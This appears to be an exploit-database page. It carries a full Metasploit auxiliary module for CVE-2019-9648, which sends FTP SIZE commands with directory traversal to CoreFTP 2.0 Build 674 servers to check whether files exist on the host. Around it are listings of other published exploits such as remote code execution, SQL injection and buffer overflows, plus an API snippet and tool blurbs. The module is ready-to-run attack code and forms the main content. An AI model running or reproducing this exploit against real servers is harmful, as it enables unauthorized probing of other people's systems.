Search for hundreds of thousands of exploits

"CoreFTP 2.0 Build 674 SIZE - Directory Traversal (Metasploit)"

Author

Exploit author

"Kevin Randall"

Platform

Exploit platform

windows

Release date

Exploit published date

2020-03-11

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Ftp
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report
  def proto
     'ftp'
  end
  def initialize
    super(
      'Name' => 'CVE-2019-9648 CoreFTP FTP Server Version 674 and below SIZE Directory Traversal',
      'Description' => %q{An issue was discovered in the SFTP Server component in Core FTP 2.0 Build 674. A directory traversal vulnerability exists using the SIZE command along with a \..\..\ substring, allowing an attacker to enumerate file existence based on the returned information},
      'Author' => [ 'Kevin Randall' ],
      'License' => MSF_LICENSE,
      'References' =>
        [
           [ 'CVE', '2019-9648' ],
           [ 'BID', '107446' ],
           [ 'URL', 'https://www.coreftp.com/forums/viewtopic.php?f=15&t=4022509' ]
        ],
       'Disclosure Date:' =>  'March 13 2019'
    )
    register_options([
      Opt::RPORT(21),
      OptString.new('FILENAME', [true, "Name of file to search on remote server", 'nslookup.exe'] ),
      OptString.new('PATHTRAVERSAL', [true, "Traversal path Note: Default Drive used is C: ", "\\..\\..\\..\\..\\"] ),
      OptString.new('PATHTOFILE', [ true, 'local filepath to the specified file. Please add double slashes for escaping', 'Windows\\System32\\'] )
    ])
  end
    def run_host(ip)
     print_status("Logging into FTP server now with supplied credentials")
     c = connect_login
     return if not c
     print_status("Performing exploitation of the SIZE command to enumerate files")
     path = datastore['PATHTRAVERSAL'] + datastore['PATHTOFILE'] + "\\" + datastore['FILENAME']
     res = send_cmd( ['SIZE', "C: ", path ], true, nsock = self.sock)
     data = res.to_s
     print_status("Performing analysis.... Please wait")
     if (data.include? "213" )
             print_good ("And the circle hits the square!")
             print_good ("File Exists. Here is the filesize:"+ data[4..-1])
       return res
     else
             print_error("Mission Failed We'll get them next time!")
             print_error ("Something went wrong or the file does not exist. Please check your variables PATHTRAVERSAL and PATHTOFILE (please escape double backslash) or verify file extension as it may be incorrect")
       return res
     end
   end
 end
Release DateTitleTypePlatformAuthor
2020-07-02"WhatsApp Remote Code Execution - Paper"webappsandroid"ashu Jaiswal"
2020-07-02"ZenTao Pro 8.8.2 - Command Injection"webappsphp"Daniel Monzón"
2020-07-02"OCS Inventory NG 2.7 - Remote Code Execution"webappsmultipleAskar
2020-07-01"Online Shopping Portal 3.1 - Authentication Bypass"webappsphp"Ümit Yalçın"
2020-07-01"e-learning Php Script 0.1.0 - 'search' SQL Injection"webappsphpKeopssGroup0day_Inc
2020-07-01"PHP-Fusion 9.03.60 - PHP Object Injection"webappsphpcoiffeur
2020-07-01"RM Downloader 2.50.60 2006.06.23 - 'Load' Local Buffer Overflow (EggHunter) (SEH) (PoC)"localwindows"Paras Bhatia"
2020-06-30"Reside Property Management 3.0 - 'profile' SQL Injection"webappsphp"Behzad Khalifeh"
2020-06-30"Victor CMS 1.0 - 'user_firstname' Persistent Cross-Site Scripting"webappsphp"Anushree Priyadarshini"
2020-06-26"Windscribe 1.83 - 'WindscribeService' Unquoted Service Path"localwindows"Ethan Seow"
Release DateTitleTypePlatformAuthor
2020-03-11"CoreFTP 2.0 Build 674 MDTM - Directory Traversal (Metasploit)"remotewindows"Kevin Randall"
2020-03-11"CoreFTP 2.0 Build 674 SIZE - Directory Traversal (Metasploit)"remotewindows"Kevin Randall"
2019-12-17"Netgear R6400 - Remote Code Execution"webappshardware"Kevin Randall"
2019-11-18"Lexmark Services Monitor 2.27.4.0.39 - Directory Traversal"webappshardware"Kevin Randall"
2019-06-04"DVD X Player 5.5 Pro - Local Buffer Overflow (SEH)"localwindows"Kevin Randall"
2019-04-30"Freefloat FTP Server 1.0 - 'STOR' Remote Buffer Overflow"remotewindows"Kevin Randall"
2019-04-30"Freefloat FTP Server 1.0 - 'SIZE' Remote Buffer Overflow"remotewindows"Kevin Randall"
2019-03-26"Titan FTP Server Version 2019 Build 3505 - Directory Traversal / Local File Inclusion"webappswindows"Kevin Randall"
2019-03-13"Core FTP Server FTP / SFTP Server v2 Build 674 - 'SIZE' Directory Traversal"doswindows"Kevin Randall"
2019-03-13"Core FTP Server FTP / SFTP Server v2 Build 674 - 'MDTM' Directory Traversal"doswindows"Kevin Randall"
2018-08-30"DLink DIR-601 - Credential Disclosure"webappshardware"Kevin Randall"
2018-04-02"DLink DIR-601 - Admin Password Disclosure"webappshardware"Kevin Randall"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/48194/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.